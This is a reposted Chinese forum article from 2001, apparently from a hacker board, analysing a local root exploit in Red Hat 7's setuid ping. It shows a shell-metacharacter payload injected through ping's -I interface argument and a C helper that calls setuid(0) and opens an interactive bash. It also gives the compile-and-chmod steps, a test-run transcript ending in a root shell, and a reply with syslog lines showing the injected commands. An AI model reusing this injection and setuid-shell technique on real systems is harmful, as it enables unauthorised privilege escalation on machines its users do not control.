分享
 
 
 

redhat7本地利用ping拿root漏洞详析 添加书签

王朝vc·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

本帖版权归原作者,其它网站转载须注明出处,传统媒体转载须事先与原作者和e龙西祠胡同[http://www.xici.net]联系。

作者: 大鹰 发表日期: 2001-02-24 02:00:25 返回《黑客也是侠》 快速返回

redhat7本地利用ping拿root漏洞详析

作者:大鹰

<suneagle@patching.net>

首先声明,我不公布攻击程序的原代码,虽然网上已经有了,但我不公布出来是我不会为此负责。知道了

这个漏洞的原理相信大家自己可以写出攻击代码,我贴一些关键代码以供分析。代码不长,可以用shell或

perl来编写,推荐用shell写(shell的重要性不在累述)。

原理:

也许是redhat7的重大漏洞吧,他的ping程序的-I参数允许利用格式化字符串来执行任意代码,大家都知道

ping程序的权位是这样的:

[Hello!sune4gle]$ ls -l /bin/ping

-rwsr-xr-x1 root root20604 Aug 82000 /bin/ping

具有s权位,所以我们就有大文章可做了,呵呵,我们可以通过用ping的-I参数来ping一个不存在的ip,当

然ip前面的参数是关键,也就是我们的执行命令,s权位令我们以普通权限的uid来运行ping时的euid为0,

所以实际上我们在运行ping的一瞬间是以超级拥护的权限在执行命令的。这样如果我们运行如下的命令的

话:

[Hello!sune4gle]$ping -I ';chmod o+w .' 195.117.3.59 &>/dev/null

就是把当前目录对其他用户可写了,呵呵,当然我们可以利用sleep语句来使该进程等待,利用等待的时间

我们可以写一个c程序,让他编译并且运行:

cat >/x.c <<_eof_

main() {

setuid(0); seteuid(0);

system("chmod 755 /;rm -f /x; rm -f /x.c");

execl("/bin/bash","bash","-i",0);

}

_eof_

gcc /x.c -o /x

chmod 755 /x

到这里大家应该都明白了吧?呵呵在/下创建x.c文件,并且编译,使它也拥有s权位,呵呵就使一个setuid

的rootshell啦,哈哈,好,我把我这个shell在redhat7下的运行测试结果贴出来:

首先我得有个普通帐户,嘿嘿

[Hello!sune4gle]$ ./getroot.sh

RedHat 7.0exploit

(c) 2000 suneagle <suneagle@patching.net>

Enjoy hacking! :)

Phase 1: making / world-writable...

Phase 2: compiling helper program in /...

Phase 3: chown+chmod on our helper program...

Ye! Entering rootshell...

[Hello!root]# id

uid=0(root) gid=500(sune4gle) groups=500(sune4gle)

[Hello!root]#

ping 要调用raw_socket 所有有s位

-I 是指定interface

这里的问题应该不是格式化字符串的漏洞吧

是在指定interface的时候用到了modprobe和insmod

Feb 24 11:16:27 ssq modprobe: modprobe: insmod ;chmod o+w . failed

Feb 24 11:16:30 ssq modprobe: modprobe: insmod ;chown 0 x failed

Feb 24 11:16:31 ssq modprobe: modprobe: insmod ;chmod +s x failed

这是攻击后的log

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有